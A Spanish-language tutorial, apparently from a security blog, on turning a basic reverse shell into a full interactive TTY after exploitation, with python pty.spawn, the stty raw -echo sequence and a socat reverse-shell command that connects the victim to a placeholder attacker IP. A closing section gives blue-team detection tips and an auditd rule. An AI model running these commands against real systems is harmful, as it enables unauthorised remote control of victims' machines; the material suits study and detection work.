Reverse shells: cómo estabilizar la TTY
Acabas de recibir una reverse shell en tu nc -lvnp 4444 y… es una decepción: no hay autocompletado, no hay historial con las flechas, Ctrl-C te mata toda la conexión en vez de la orden, y en cuanto lanzas ssh, su o vi se cuelga. Eso es una shell tonta. Estabilizarla —convertirla en una TTY completa— es el primer gesto de post-explotación, y cambia por completo lo cómodo (y sigiloso) que es trabajar.
Por qué la shell es «tonta»
Cuando bash arranca conectado a un socket en vez de a un terminal (una PTY), no hay quien gestione señales, edición de línea ni control de trabajos. No es que bash sea limitado: es que le falta el terminal. Compruébalo:
tty
# not a tty <- ese es el problema
El objetivo es darle una PTY y luego alinear tu terminal local con ella.
1. Conseguir una PTY
El clásico, si la víctima tiene Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# sin python3, prueba: python -c '...' o /usr/bin/script -qc /bin/bash /dev/null
Ya tienes prompt con usuario y host, pero Ctrl-C sigue matando la shell y no hay historial. Falta la segunda mitad.
2. La TTY completa (el «baile» de stty)
Este es el truco que separa una shell usable de una frustrante. En orden:
# en la shell de la víctima (ya con la PTY del paso 1)
export TERM=xterm
# la suspendes con Ctrl-Z (vuelves a TU terminal)
# --- ahora en TU máquina ---
stty raw -echo; fg
# (pulsa Enter una o dos veces; la shell vuelve)
reset
stty raw -echo le dice a tu terminal que no procese ni haga eco de las teclas: se las pasa crudas a la shell remota, que ahora sí gestiona Ctrl-C, flechas y Tab. Por último, ajusta el tamaño para que vi/less no se rompan: mira tu tamaño real con stty size y replícalo:
# en tu máquina: stty size -> p.ej. "38 116"
# en la remota:
stty rows 38 columns 116
socat.3. La opción cómoda: socat
Si puedes subir un binario, socat te da una PTY real de extremo a extremo sin el baile de stty. En tu máquina, el listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
Y en la víctima:
socat tcp:TU_IP:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane
Resultado: Ctrl-C, autocompletado, editores… todo funciona de entrada.
4. Trucos que suman
rlwrap nc -lvnp 4444— historial y edición de línea aunque no estabilices (útil en Windows/objetivos sin Python).export SHELL=/bin/bash; export TERM=xterm-256color— colores y comportamiento correcto.- Si la conexión se cae mucho, lanza un
tmuxen tu lado para no perder el trabajo.
Para el Blue Team: cómo se ve esto
Estabilizar una shell deja rastro muy característico. Vigila:
- Un proceso hijo interactivo colgando de un servicio que no debería tener shells:
bash/shcon padrenginx,apache2,java… - El patrón
python -c 'import pty'oscript -qc /bin/bashen la línea de comandos (auditaexecvecon auditd/Sysmon-for-Linux, o cázalo en EDR). - Conexiones salientes a puertos altos poco habituales desde procesos de servidor.
# auditd: alerta por spawns de pty sospechosos
auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/python3 -k pty_spawn
ausearch -k pty_spawn
Checklist
- ✅ PTY con
python pty.spawn(oscript) - ✅
Ctrl-Z→stty raw -echo; fg→reset - ✅
export TERM=xtermystty rows/columns - ✅ ¿Puedes subir binarios? Usa
socaty ahórrate el baile - ✅ Como defensor: shells hijas de servicios +
pty.spawnen logs
Dos minutos de estabilización convierten una shell que se cae al primer Ctrl-C en un terminal donde puedes editar ficheros, cambiar de usuario y trabajar como en local. Y saber cómo se hace es exactamente lo que necesita el que la tiene que detectar.